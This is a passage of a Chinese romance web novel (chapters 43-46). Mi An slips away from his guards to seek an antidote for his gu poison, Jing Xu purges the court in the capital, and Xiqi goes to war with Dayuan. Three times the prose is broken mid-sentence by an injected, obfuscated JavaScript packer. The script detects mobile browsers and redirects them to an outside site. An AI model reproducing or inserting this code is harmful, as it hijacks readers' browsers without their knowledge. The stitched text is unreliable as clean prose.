图武的妻儿被暗卫护送回了大渊,算算日子应当也快到了。 这段时间宓安又去了一趟后山,那日景煦受伤,他的软剑掉在地上没顾上收起来,到了才发现枨衔水已经随便找了几块石头将赫连修齐尸体封在了里面,又在周遭布了阵法,防止有人误入被蛊毒伤到,他的软剑就这样跟着赫连修齐一起长眠在此了。 这里的事情告一段落,景煦的身子也慢慢好了起来,虽然恢复如初还需要一些时日,但伤口已经完全愈合,平常走路或是乘个马车已经不成问题。 第十四日的清晨,宓安醒得有些晚,已经日上三竿了才缓缓睁开眼,身边已经冰凉一片,景煦应该已经起来很久了。宓安盯了床板好半天,满脑子都是昨夜景煦对他为所欲为。 虽然没有做到最后,却也实在将他折腾得不轻。 宓安以为景煦身子刚好又早起练功,便坐起身想将人喊进来训:“景煦?” 出现在门口的却是影五,他隔着门,声音有些发虚:“公子,您起来了?” 宓安奇怪道:“殿下呢?” 门外的影五沉默了一瞬,说道:“殿下给您留了封信。” 43. 师徒 宓安愣了片刻,几乎以为自己听错了,起身下床推开了门,影五立刻将信递了过来,忙不迭地消失了。 宓安莫名其妙地打开信封,入目便是景煦那熟悉的字迹,铁画银钩龙飞凤舞,颇有帝王风骨。 “阿宓留在此处安心游山玩水,待为夫处理好京中事务就来接你回家。” 宓安看着两行字,沉默了许久,气得笑出了声。 前世战乱时,景煦也是这样,硬要将他赶去江南避乱,独自对上北夷诡谲的阴兵。 果然就像他说的,他是不会改的,不管宓安骂他多少次,他还是会自作主张,让宓安待在安稳舒适的地方,自己一个人面对刀剑利刃。 枨衔水也刚睡醒,远远瞄了一眼宓安手里的信,幽幽道:“你不是正愁怎么支开他,现在正合你意,生什么气?” 宓安冷静地将信纸折好收进怀里,说道:“这不是一码事。” “他要是知道你身上的蛊毒不仅没解还扩散了,你怎么解释?”枨衔水好笑地指了指自己,“甚至还联合外人一起骗他。” 宓安手一顿,语气无波:“他不会知道的。为了大渊的国祚,师父,速速上路吧。” 暗卫驾着马车扬长而去,宓安扫视了一圈四周,除了五、七、九和他们带着的“暗”,景煦还留下了一支他没见过的暗卫,想来就是独立四部之外的那些。 马车向姑师王城方向驶去,不出一日便到了城门口,守城的侍卫是大渊人,宓安带着影五影七走了过去,抬手丢出一块令牌。 侍卫接住令牌一看,立刻行礼道:“参见昭王殿下!” 影五收回令牌,宓安矜贵地“嗯”了一声,和枨衔水一起进了王城。 姑师虽然是小国,王城却比大渊皇宫有过之而无不及,一派富丽堂皇,空中飘着淡淡的香气,像花香又像木香,十分清淡好闻。 宓安往姑师王的寝殿走去,边走边道:“师父,我的剑被你封起来了,什么时候打把新的给我?” 枨衔水白了他一眼:“你怎么不早说你的剑还在那?” “我忘了。”宓安理直气壮道,“那把剑我用的顺手,你送我个新的。” “回京再说,这荒郊野岭的我上哪给你铸剑去?”枨衔水加快了脚步,催促道,“快些走,我那药只能暂缓蛊毒蔓延,你已经时日无多了。” 暗卫被两人远远甩在了后面,宓安知道景煦通过他们与自己传消息,这两日与枨衔水说话都刻意避开了暗卫。 姑师王的寝殿比景煦的还要大上一倍,殿中装潢是姑师特有的风格,橙黄橘绿色彩缤纷,虽然有些艳丽,倒也相得益彰。 王座之后,一扇两人高的大门静静矗立着,正中间有一个凹槽,宓安摸出信物,严丝合缝地卡了进去。 大门缓缓打开,先射出了两支箭,宓安侧身避开,奇怪道:“用信物开的门,怎么会有暗器?” 枨衔水走了进去,说道:“许是姑师王死前启动了什么防盗机关。” 门口走廊不长,很快就到了存放宝贝的地方,饶是前世常出入大渊国库,宓安还是被眼前的景象震惊了一番。 偌大的藏宝阁里,几个博古架靠墙而立,几乎挨到了房顶,每一层都放置了价值不菲的花瓶酒器,更有玉石雕成的茶具,晶莹温润。 枨衔水也不禁感叹:“姑师这么有钱?” “师父。”宓安突然抱着一个盒子走了过来,枨衔水一看,竟是一块精炼银铁。 宓安笑道:“我的剑。” 枨衔水也笑了下,好像又看到了当年小小一个总跟在他身后的娃娃,语气不由软了下来:“知道了,回去就给你打把新的。” 宓安将银铁交给影五,嘱咐他务必将让可靠的暗卫先把这盒子送回昭王府,又让影七影九带人进来先将这里的东西登记成册,再分批运回大渊。 枨衔水仰头找了许久,终于飞身而起,从博古架的最顶端拿下了一棵通体漆黑毫不起眼的东西,宓安奇怪道:“灵芝?” “千年灵芝,给你解毒用的。” 宓安更奇怪了:“灵芝这东西年头久了会变成木头,药效也会消失,为何千年灵芝却能解蛊毒?” “因为这一棵运气好,没变成木头。”枨衔水面不改色地说着哄孩子的话,宓安忿忿道:“我都这么大了,别总骗我。” 枨衔水笑道:“没骗你,这棵灵芝就是千年不遇的好运气,只有这样的灵芝才能解你的毒。” 宓安将信将疑,枨衔水好笑地将灵芝塞给他:“你收着,一股蘑菇臭味。” 宓安手一顿,摸出一块帕子将灵芝包起来,收到了袖子里。 屋内大多是金银玉石茶具酒器,枨衔水扫视一圈便失去了兴趣,催着宓安去找其他药材。宓安将琐事交待好,看了一眼影五手里露出一角的信,意味不明地笑了下,说道:“你们慢慢整理,我出去透透气。” 暗卫不疑有他,宓安和枨衔水散步似的走了出去。七月太阳正烈,枨衔水皱着眉抬手挡了下阳光,宓安回头看了一眼密室内暗卫们忙碌的身影,风过叶动,姑师王城因为众人的到来迎来了久违的人气。 直到天色渐晚,影五从浩如烟海的清单中抬起头来,看向了寂静的寝殿外。 自从枨衔水到了笼岱村,本来没有风的地方莫名起了一阵风,变得像正常村落一样了。可现在,姑师王城寂静得有些诡异,树叶静止不动,只有一轮红日缓缓西去,正在下落。 影五一颗心提到了嗓子眼,快步出了寝殿,高声喊道:“公子?” 四周依然寂静无声,影五暗道不好,回去找了影七影九,三人跑出了姑师王城,追着宓安离开的痕迹飞奔而去。 隐去气息的宓安正懒懒坐在树杈上,冷眼看着三位“嫁妆”走远,缓缓勾起一抹笑。 枨衔水摇了摇头:“甩开他们,景煦怎么得知你的近况?” 宓安垂下眼眸,冷漠道:“是他要丢下我的,找不到我是他活该。” 枨衔水从没见过如此无理取闹的人,明明自己打算将景煦支开,对方主动遂了他的意,他倒不高兴了。 似乎看出了他在想什么,宓安抬头看了枨衔水一眼,再次强调道:“这不是一码事。” 枨衔水敷衍地点了点头:“行行行,走吧,去西岐。” 现在没有紧张兮兮的景煦怕宓安累着,两人不用马车,徒步前行,脚程也快,三日后便已经到了离临近西岐的小镇,彻底甩开了暗卫。 虽然从小习武,但这些年到底养尊处优惯了,赶了几天路宓安已经有些疲累,拉着枨衔水就要找家客栈休息。 “娇气。”枨衔水叹了口气,“我应该将你养大再走的,你瞧瞧你,被景煦宠得肩不能抗手不能提。” 宓安道:“胡说,我能拉得动弓。” “如此甚好,那我们继续赶路。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781287|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “师父,你吃不吃糖葫芦?”宓安生硬地移开话头,“吃的话你去买两串,待会送到我房里。” “宓青疏,你最好贿赂一下我,否则我回去就把这些事全告诉景煦。”枨衔水瞥他一眼,“一点都不如小时候可爱。” 宓安向来记仇,还爱翻旧账,闻言突然笑了一下,问道:“师父,假死那日看我哭得那样伤心,你是不是很高兴?” 枨衔水立刻抬手制止他继续说下去:“糖葫芦是吧,为师这就去买。” 宓安满意地点了点头,闲庭信步溜达到最近的客栈开了两间房,交待好小二就上楼休息了。 这家客栈虽然不如朝青宽敞,却也十分舒适,因夏日潮湿炎热,床上铺的是竹编的席子,触手冰凉。只是宓安睡不惯竹席,便将它收到了一旁的柜子里。 日夜不休地赶了几天路,饶是宓安年轻体健也撑不住了,不一会儿便沉沉睡去。枨衔水回来时,就见宓安规规矩矩地躺在床上,十分乖巧,让他不由想起了带孩子的那些年。 宓安从小就听话安静,且十分聪慧,不管学什么都一点即通,所以枨衔水对教他新东西这件事格外有兴趣。 枨衔水想着,缓缓叹了口气,不知道他不在的这些年,那个端方知礼的小娃娃,是怎么长成了现在这副满肚子心眼一张嘴就要气死人的样子。 “师父。”宓安睡梦中听到枨衔水叹气,睁开了一只眼睛,“为什么这副神情看我?你好奇怪。” 枨衔水将糖葫芦插在床头:“叹一叹儿大不中留。” 宓安眼睛沉沉,一时睁不开,只好半眯着坐起身吃糖葫芦,边吃边问道:“师父,既然赫连修齐是冒充你的,那我的蛊到底是何时种下的?” 枨衔水又叹了口气,说道:“你儿时装病,景陆送了不少药材,赫连修齐便混进了送药的宫人里,那段时间我有事要忙,回来时蛊虫已经在你体内长大了。” 宓安好笑道:“是景陆安排他混进去的吧?” 枨衔水道:“正是,这事我还没告诉景煦,我怕他弑父。” 宓安点了点头:“等以后我再找个机会告诉他吧。我那块挂饰为何会在赫连修齐手上?” 说起这个,枨衔水就气不打一处来,忿忿道:“我也想知道!你送我的小玩意儿我全放在了我在将军府的卧房里,卑鄙蛮夷净干偷鸡摸狗的勾当!” 宓安笑了起来:“消消气,只是这块挂饰真的不能给景煦吗?他很想要的。” “不给。”枨衔水瞥他一眼,起身想走,宓安声音懒散,突然问道:“师父,我不回京你急死了吧?” 枨衔水脚步一顿,片刻,抬手关上了房门,转头看向宓安,宓安像没察觉他的动作一般,慢慢吃完最后一颗山楂才开口道:“你不用担心景煦会抛下大渊,他没那么不懂事。” “那可不一定。”枨衔水冷笑一声,“他已经抛下过一次了。” 宓安眨了眨眼睛,困意消散,熟练地将责任推到枨衔水身上:“前世你若是和我明说,他也不会有机会引蛊了。” “你若是死了,他立刻就能追着你去。”枨衔水没好气道,“像你一样,他前脚咽气你后脚放火。” 宓安笑了下,诚恳道:“抱歉,我不知道会给你添麻烦。我还有一件事想问。” 他面色未变,随手将竹签丢到桌上,问道:“为何你明知景煦才是真命天子,却来做了我的师父呢?” 44. 真相 重生后初见枨衔水那日,他曾说景煦和宓安都是帝王星,后来宓安总觉得哪里不对劲,直到察觉枨衔水是他师父,那点不对劲才突然有了眉目。 两颗帝王星同世共存,多半会因皇位之争生灵涂炭,景煦本就是天家血脉,且有帝王之才,按理说枨衔水应该去做他的师父,好好教导,等他安稳继位后杀死宓安才对,为何偏偏要舍近求远接近宓安呢? 枨衔水自然知道宓安是什么意思,但他现下只觉得莫名其妙:“你怎知我没想过让景煦杀了你?但他偏偏小小年纪就对你情根深种,那些被我撺掇着去劝他杀你的门客全被他杀了,那时景煦才多大?” 宓安心头一紧,枨衔水继续道:“后来我便对你产生了好奇,到底是什么样的人能让景煦放在心上,所以才装成老人去见了你。不过说实话,你小时候可比现在可爱多了。” “所以那时你总对我说要和景煦做朋友,是因为怕我们反目,导致国运动荡?” “是,也不全是。”枨衔水叹了口气,“景煦小时候吃了那么多苦,我这不是不忍心他孤独终老嘛。” 宓安忍无可忍地凶道:“所以你就把我卖给他做童养媳?你到底是谁师父?” 枨衔水一愣,旋即哈哈大笑起来:“你还记得这事啊?” 宓安说的是枨衔水假死前不久的事,那时他才十岁,景煦常常偷溜出宫跑来将军府找他,只是每次他来枨衔水都不在府里,现在想来才知道是他有意避开。 十年前的夏夜,也像今日一样燥热。 景煦拨开夜色,轻车熟路地翻过宫墙,悄无声息像将军府奔去。 他到时,宓安还没歇下,正和祝澜面对面坐着,像是在煮茶。 茶汤清澈,散发着浓郁的花香,景煦轻手轻脚地站到宓安身后,蹲下了身。 宓安的腿被压住,只好挪了挪身子,给景煦腾了一半圆凳,景煦笑嘻嘻地挨着他坐下,和两人一起盯起了茶汤。 半晌,景煦终于耗尽了耐心:“我们在等什么?” “等你忍不住尝一口。”祝澜捋了捋胡子,面不改色地下套,“青疏第一次煮茶,昭王殿下尝尝?” 一听是宓安第一次煮的,景煦眼睛一下亮了起来,忙不迭给自己倒了一杯,吹了两下就往嘴里送,宓安来不及阻拦,滚烫的茶水入喉,景煦深深呼出一口气,夸道:“好喝。” 祝澜目瞪口呆,宓安手忙脚乱地去翻祝澜的袖子:“师父!解药呢!” “解药还没来得及做!” 景煦满脸茫然,宓安已经要急哭了,祝澜赶紧安抚道:“别急别急,我号号脉。” 他拉过景煦的手搭上脉,安静了半晌,奇怪道:“没事啊?” 宓安的小手也从一侧搭了上来,良久,皱成一团的小脸终于舒展了,转头对祝澜数落道:“师父你又骗人!” “为师没骗你,这真是毒药!” 景煦这才明白怎么回事,花香还萦绕在鼻间,细闻才能察觉一丝苦味,这丝熟悉的苦味唤起了景煦的记忆,他问道:“是‘香凝’?” 祝澜看向他,有些惊讶:“你认识?” “小时候误食过,捡回了一条命。太医说下次再遇到就不怕了。”景煦语气平淡,好像被折磨的生不如死的人不是他一般,宓安也不知道景煦中过‘香凝’的毒,他只知道这毒刁钻且折磨人,中毒者五脏六腑会像被搅在一起一般疼痛难忍,现有的解药效果聊聊,全凭中毒者的心性和运气——挺过去了,则彻底免疫;挺不过去,则死无全尸。 今日宓安和祝澜就是为了研制能彻底解毒的解药才将‘香凝’取了出来,没想到祝澜一句话就骗景煦喝了下去。 宓安气鼓鼓地看着祝澜:“你怎么能拿毒药骗他!” “我道歉。”祝澜十分诚恳,“我不该胡说八道,不过你也是,滚烫的茶水就直接喝啊?” 宓安瞪向他,祝澜吹胡子瞪眼:“没大没小!我可是你师父!” 宓安重重“哼”了一声,又拉着景煦的手替他把脉,心疼道:“疼不疼啊?” 景煦笑道:“这毒已经对我不起作用了,不疼的。” “我是问你上次……”宓安声音渐渐变小,他知道自己在问废话,毒入肺腑,怎会不疼呢。 “有一点点。”景煦喜欢看宓安心疼自己,又舍不得他太心疼,“现在已经没事了,阿宓别担心。” 祝澜在一边看得牙酸,忽悠小孩的毛病不改:“我有一计,或许能让他少受些苦。” 宓安到底还是孩子,闻言脸色转晴,问道:“什么?” “你去做昭王殿下的童养媳好了。”祝澜一本正经,“这样你们就能日日在一起,青疏可以护着他,若有下次也可以替他解毒。” 景煦移开了视线,心里对自己说了三遍“这是阿宓的师父”才转回身,语气平缓:“师父说笑了。” 景煦自幼长在宫中,长年累月的算计陷害让他比一般十几岁的孩子成熟的多,可宓安从小被宓朗回关在家里,又被祝澜护着,是实打实的小孩子。习惯了信任师父的宓安听到他这么说,竟然真的板起小脸考虑了片刻,随后一拍手:“好主意!” 景煦:“?” 祝澜:“啊?” 宓安当即拉起了景煦的手,开心道:“那我们现在就进宫和你父皇说!” 祝澜目瞪口呆,半天才反应过来,赶紧拉住了就要出府的宓安:“唉唉唉干什么去?我不是……你不是……你这孩子……” 宓安已经忘记了当时景煦是什么样的表情,他似乎整个人愣在了原地,多年后回想起这件事,宓安总觉得自己幼稚又好骗,着实丢脸。 “你说说,你那时候多可爱?”枨衔水感叹道,“又听话又好骗,再看看现在。” 宓安看向他,莫名其妙道:“师父,算上前世,我已是而立之年了。” “是啊,儿大不中留啊。”枨衔水站起身,“明日早起赶路,拿到西岐的东西可以先清一部分你的毒,真的不能再拖了。” “知道了。” 虽然枨衔水一直在说他的蛊毒很严重,但因着他给的药丸,宓安并没感受过蛊毒发作的痛楚,只是不知前世景煦有没有枨衔水的药,枨衔水又为何没能替景煦解蛊。 见宓安盯着自己的手,枨衔水犹豫了片刻,还是说道:“引蛊之后,蛊毒就无解了。” 宓安一时没反应过来:“什么?” “蛊师直接将蛊种到你身上,还有法可解,但二次引蛊后,蛊虫就会将蛊毒深深扎进五脏六腑,无药可医。”枨衔水叹了口气,这一刻才真的将瞒着宓安的事说了出来,“引蛊后每五天就会发作一次,所受之苦与‘香凝’之毒不相上下,直到宿体身死。” 宓安沉默了许久,直到灯花爆开的声响拉他回神,才开口问道:“他知道吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786223|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “知道。” 又是许久的沉默,宓安一直自以为很了解景煦,现在竟觉得摸不准他在想什么了。 “既如此,为何重生后他还是想替我引蛊?”宓安隔着衣服抚上一直放在胸前的昭王令牌,语气里满是不解和难过,“他不想和我白头吗?” 枨衔水摇了摇头,无奈道:“自然是怕你受苦。蛊毒发作时的生不如死他亲自尝过,怎么舍得让你疼?难道是因为我从前只顾着教你乱七八糟的,没教过你怎样与人交心,你才迟钝成这样?” 宓安对他最后一句话不置可否,垂下眼睛使劲闭了一下,压下泪意,“师父,我不明白,只是疼一下,值得他用命换吗。” “如果位置互换,你愿意用命换他不受苦吗?”枨衔水也没有与人交心的经验,但看着景煦前世今生为了宓安做到如此地步,实在不忍,“他一向万事以你为重,你是知道的。” “不过我这话问的多余了。”枨衔水冷笑一声,“你为了让他安心对付赫连修齐,骗他蛊毒能解,现在蛊毒蔓延又瞒着他自己来找解药,你和他没有区别。” 宓安“哦”了一声,诚恳道:“那我以后不骂他了。” 枨衔水还没说什么,宓安突然又道:“师父,景煦一定再三强调过这件事不能让我知道吧?” 枨衔水不知道他的用意,只点了点头:“你千万别告诉他你已经知道了,不然为师只能换个国家当国师了。” 宓安也点了点头:“所以师父,我蛊毒蔓延这件事你也不许告诉他,不然我就砸了你的占星台。” 枨衔水气笑了:“不孝子,你给我滚。” “不孝子”赶走了师父,窝回床上,摩挲着景煦的令牌出神许久,突然后悔甩开暗卫了。 他一定担心死了。 景煦确实担心死了,一连半月,跟着宓安的暗卫只传回了将人跟丢了的消息,再无其他音讯。 景煦很清楚是宓安有意甩开了暗卫,虽然有枨衔水在,虽然宓安也能保护自己,但他还是忍不住心神不宁。 “殿下?”见景煦面色阴沉,几位大臣眼神交换间个个胆战心惊,最后被推出来的户部尚书只好揣着十二分的小心叫了一声。 “继续说。”景煦声音仍然平淡,下座的大臣将头低得更深,新任刑部尚书康玉韬上前一步,强撑着稳住自己的声音:“回殿下,大皇子门客已全部押至天牢,何时审问,还请殿下定夺。” 景煦翻开一本折子,是前丞相麾下几人的自辩折,折子言之无物,满篇皆是求饶之语,景煦莫名笑了一,说道:“不必审了,全杀了。” 康玉韬一愣,犹豫着问道:“全、全杀了?大皇子门客有五十余人,殿……”话说到一半,突然对上了景煦半抬的眼睛,康玉韬猛然噤声,垂首道:“臣领旨。” 大理寺卿邓千峰也犹犹豫豫,看了景煦一眼又一眼,终于咬牙出列,问道:“殿下,高太尉的自辨折前日已经呈上,太尉称自己对大皇子谋反一事毫不知情,暗卫围府,太尉府上已经十天不吃不喝了,请殿下明鉴。” “本王只是让人守住大门不许进出,他们不吃饭做什么?”景煦懒懒地抬了下眼,“绝食明志?” 邓千峰一时不知如何回答,太尉位高权重,每日肉菜米面都是家中下人天不亮就去买最新鲜的,食材从不过夜——可这话怎么说?如此精致奢靡,说出来岂不是坐实了高炳泰贪污? 45. 开战 高炳泰便是景烈正妃的母家,景烈谋反,高炳泰虽并未相助,但若要说毫不知情,景煦可是一字不信。 至于太尉府食材不过夜这事,景煦也是知道的,所以只让暗卫看住大门不让人进出,等他们饿的受不了了,自然会主动坦白一些。 邓千峰沉默下来,景煦漫不经心地又翻开一本奏折,突然道:“不然把高炳泰一起杀了吧?宁可错杀一百不能放过一个,杀了他大家都安心。” 众大臣噤若寒蝉,虽然景煦的语气像在说笑,但自他回京雷霆手段幽禁景烈,关押孔玉宣,杀了孔玉宣麾下数百门生,任谁也不会觉得他此时此刻是真的在说笑。 这段时间在宓朗回在朝上始终一言不发,景煦虽然手段残酷,却短短几天就震慑住所有蠢蠢欲动的人,确实比温和的法子有用百倍。 只是今日这话确实有些过了,宓朗回不由看了他一眼,开口道:“殿下,高太尉两朝为官,且是皇亲,还请三思。” 景煦奇怪道:“皇亲?他亲的可是谋反的景烈,您也是皇亲,也没见您谋反啊。” 一众大臣听了这话都没反应过来,宓朗回是哪门子的皇亲? 宓朗回一哽,这才意识到自己说错了话,景烈已是罪人,高炳泰算哪门子皇亲?见景煦并未动怒,还真情实感地问了这话,宓朗回松了口气,无奈道:“臣失言,只是高太尉身为两朝元老,没有证据不可轻易定罪。” 景煦好笑道:“本王并未让他下狱,只是软禁在自己府中,待查明真相再做定论,有何不可?” 他看向邓千峰,问道:“邓大人若有不满,便去催催刑部,查的怎样了。” 邓千峰有口难言,刑部早就查清高炳泰确实并未参与谋反,可折子一张一张递上去,不是丢了就是被水浸了被猫咬了,整整十天,景煦只说没看过折子。 “还有其他事吗?没事就散了吧。”景煦起身伸了个懒腰,开口断了他们最后一条路,“父皇病重,不可打扰,各位大人也不必想着找父皇议事了,有事就来昭王府吧。” 众大臣不敢多言,只好先离开了。 众人散去,宓朗回还站在原地,等人走光了才问道:“长昱,你似乎很着急。” 景煦叹了口气,说道:“急。” “急什么?”宓朗回不解,景陆已是强弩之末,景烈也再难翻身,这些事完全可以等登基后再慢慢处置,为何景煦如此急不可耐地肃清朝堂,声势过大手段残暴,引得大臣战战兢兢,整个朝堂都弥漫着靡靡之风。 “急着接青疏回来。”景煦批完了手里的折子,“我要让他站在干干净净的朝堂上。” 这样说着,景煦突然又起了干劲,让宫人将折子抱回昭王府,临走还不忘招呼宓朗回:“将军来我府上用膳吗?” “……不必了。” 景煦也不强求,只是坦诚道:“我今晚去青疏房里睡。” 宓朗回不知说什么是好,只能点点头表示自己知道了。景煦回京大半月了,他还没找到机会问问为何自己儿子没一起回来,现在听景煦这么说,怎么倒像是宓安觉得京中不清静就不愿回来似的,竟如此娇气。 娇气的宓安此时此刻正在去往西岐王宫的路上。 两道身影掠过树林,带起一地落叶,宓安边赶路边问道:“师父,我还有件事想问。” 枨衔水懒得理他,闭口不言,宓安自顾自问道:“你的占星台明明是‘楼’,为何要叫占星‘台’呢?” “我乐意。”枨衔水没好气道,“台比楼好听,我就喜欢叫台。” 宓安“哦”了一声:“那我还有一个问题。” “你哪来这么多问题?”枨衔水着急给宓安解毒,中毒的本人倒是一点都不急,“等解了毒回京再问行不行?” “好吧,但其实我想说,你的药好像压制不住我的蛊毒了……” 他话没说完就踉跄了一下,枨衔水立刻停下,扶住了宓安:“不该这么快就压制不住啊,你先坐下。” 枨衔水伸手探了一下宓安脉,有些着急:“蛊毒蔓延变快了,药丸再吃一颗,等拿到两种药材就能先解一部分。” 宓安吃了颗药,安静了片刻,说道:“其实已经有两种药材了。” 枨衔水奇怪道:“什么?” 宓安垂眸道:“景煦的香囊早就给我了。” 枨衔水看着他,突然冷静下来,问道:“你不想用,为什么?” “这香囊是景煦母亲留给他的遗物,我还没问过他。” 景煦的香囊里装的是一棵赤棘草,此草生在大漠,百年难得,据说一棵就能让濒死之人重拾性命,先皇后偶然得到,便制成香囊给了景煦,后来景煦又给了宓安。 赤棘草珍贵,宓安一直好好收着,前世他给景煦用过,效果聊聊,还以为神草之说只是传言罢了。 枨衔水莫名其妙道:“问什么?他还能不给你用?况且香囊不是已经送你了吗?” 宓安不知在想什么,枨衔水直接伸手:“给我。” “我写信问……” 枨衔水冷着脸,不等宓安说完就出手打晕了他,把人抗在肩上一路进了西岐,扮作老人找了家客栈安顿下来,二话不说就将灵芝和沙棘草捏成粉末,和已经制好的药混在一起,喂宓安吃了下去。 他看了宓安一会儿,最终叹了口气,找来纸笔言简意赅地给景煦写了封信。 ——沙棘草用了,治青疏。 挥手唤来一只信鸽,枨衔水心道,景煦看见信说不定会不管不顾地杀过来,在这之前他可得抓紧把宓安的毒解了,否则他的占星台又要大乱了。 放走信鸽,枨衔水摇醒了宓安:“起床,去西岐王城。” 宓安慢慢转醒,被熟悉的脸吓了一跳,半天才反应过来:“师父?” “醒了?快走。” “你打晕我干什么?景煦的香囊……” “闭嘴。”枨衔水顶着一张耄耋老人的脸健步如飞,“再胡闹让景煦打你。” 虽然没问出口,宓安也能感觉到自己体内的蛊毒少了大半,他不是不知好歹的人,总不会为这个迁怒枨衔水,只能在心里想了许多个和景煦交待的理由,从枨衔水想到暗卫又想到路边卖菜的老翁,总要有个人假装重伤替他瞒一瞒。 殊不知信鸽已经飞出了几十里,不日就要到景煦手上了。 越靠近西岐王城,百姓越是奇怪,大街小巷人人一言不发,安静得只剩风声,枨衔水背手弯腰认真装起了老人,不动声色地扫视四周,小声道:“西岐这是要亡国了?” 宓安察觉到周遭许多人在暗暗打量他,眼神中带着怜悯与无奈,宓安不解,扶着枨衔水慢慢来到一个卖馄饨的小摊前,要了两碗馄饨。 老板是个年过古稀的老人,颤颤巍巍上了两碗馄饨,又看了宓安一眼,最终什么也没说,只是叹了口气。 宓安问道:“老人家,发生什么事了?” 老板摇了摇头,不愿多说:“这两碗算我请你的,快吃吧。” 枨衔水馄饨都快送到嘴里了,听到这话手一顿,轻轻闻了下馄饨,和宓安对上眼神:没下毒啊。 “我爹身子不太好,老板莫要吓他了。”宓安轻轻拍了拍枨衔水的后背,语气担忧,“您这样,我们可吃不下东西了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790080|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 老板又叹了口气:“我怕说出来,令尊身子更不好了——罢了,你来的不是时候,上头正征兵呢,年轻男子一个都逃不过,你吃完赶紧安顿好令尊吧。” 宓安奇怪道:“征兵做什么?北夷来犯了?” 老板道:“北夷哪有这本事,是大渊!” 宓安更奇怪了:“大渊打西岐?” 钱不算多,地也贫瘠,景煦是闲的没事做了? 老板满脸愁容:“不是大渊来犯,是五王子带兵去打大渊了!” 宓安以为自己听错了,怔愣了半晌,看看老板,又看看枨衔水,不可置信道:“乌连今疯了?” “不可胡说……”老板左右看了一眼,见没人注意这边才松了口气,“年轻人可不敢口无遮拦!怎能直呼王子之名?当心被人听了去!” 宓安留下两锭银子,拉起馄饨只吃了一半的枨衔水就要走,枨衔水不愿放下勺子,皱眉看他,宓安一把夺过勺子放回桌上,拖着人边走边说:“别吃了爹,王城要来捉人当兵去了,快逃啊。” 枨衔水被他拖着离开了馄饨摊,气道:“我的馄饨!” “不差这一口。”宓安拍拍枨衔水,“正好西岐乱着,咱们先去把药材拿了,再去战场看看。” “去战场做什么?” “我亲爹说不定在。”西岐兵力不弱,如今朝中能带兵的除了景煦自己也就只有宓朗回了,既然到了这里,宓安总要去看一眼。 “那我去不合适吧?”枨衔水又背手装起了老人,“后爹和亲爹还是不见面为好,更何况我已经死了,别吓着你亲爹。” 宓安白他一眼:“少胡说八道了后爹,往哪边走?” 枨衔水指了一个方向,二人避开人群,顺利进了王城。 西岐王城与北夷相比显得正常多了,城内守卫不多,想来大部分侍卫都去往了前线,乌南什为表诚意曾给过宓安一张王城地图,因此宓安轻车熟路地摸到了正殿,殿内传来两人的争吵声,宓安脚步一顿,和枨衔水一起飞身坐到了房顶上。 争吵的声音十分耳熟,宓安静心听了片刻,了然道:“乌南什和乌连今。” 枨衔水的好奇心被勾了起来,往屋檐边挪了挪,专心看起了热闹。 “我与宓少师早就结盟,如今他人不在大渊,你擅自出兵置我于何地!?”这是乌南什的声音。 乌连今冷笑一声:“只有你这种蠢货会信他的鬼话,他把我关在朝青近两个月,肯定一早就打定主意要对西岐下手。” 宓安一愣,心道他什么时候关过乌连今? 乌南什语气里满是无奈:“朝青那个管事不是解释过了?宓少师只是忘了交代放你离开,是另一位管事误解了他的意思。” 宓安:“……” 毫不意外地猜到了两位管事分别是谁呢。 乌连今显然不信,语气生硬:“总之我是不会撤兵的,大渊正内乱,这是天赐良机,就算派宓朗回应战,我也自有办法对付他。” 他说完便摔门而去,宓安不知这二人之间发生了什么,不过看样子乌连今假死之事已经不是秘密,而他与乌南什之间也并不像他说的那样水火不容。 宓安不由笑了一下,那日在朝青景煦和他都觉得乌连今不聪明,原来对方还是留了个心眼的。 不过乌南什确实不太聪明,竟然到此时此刻还如此信任他。 枨衔水伸手对了下月光,掐指一算,说道:“东西在乌连今身上,我们跟着他。” 乌连今出了王城,快马加鞭奔战场去了,宓安看着疾驰而去的骏马,问道:“师父,我们真的要用双脚追吗?” 46. 重逢 枨衔水瞪他:“要我给你买驾马车不成?” “那追吧。”宓安叹了口气,虽然平时总说景煦小题大做,但久而久之他真的被景煦宠的越发娇气了,这才走了多久,竟然已经开始觉得疲惫了。 王城往东一路不见绿意,路上见到一群士兵正在将一棵几人合抱的大树装上马车,想来这一路能砍的树都砍了用作军饷了。 宓安收回了乌连今留心眼的想法,他简直蠢的无可救药。 大渊营地驻扎有规矩章法,高处低处都设有哨兵,有敌夜袭可以一层一层一边御敌一边传递消息,而西岐只是依地势扎营,只前后入口有人把手,轻功上承之人很容易神不知鬼不觉地潜入营地。 西岐没有与大渊对战的经验,北夷和姑师又不擅中原武艺,西岐王万万想不到大渊还有踏雪无痕的功夫。 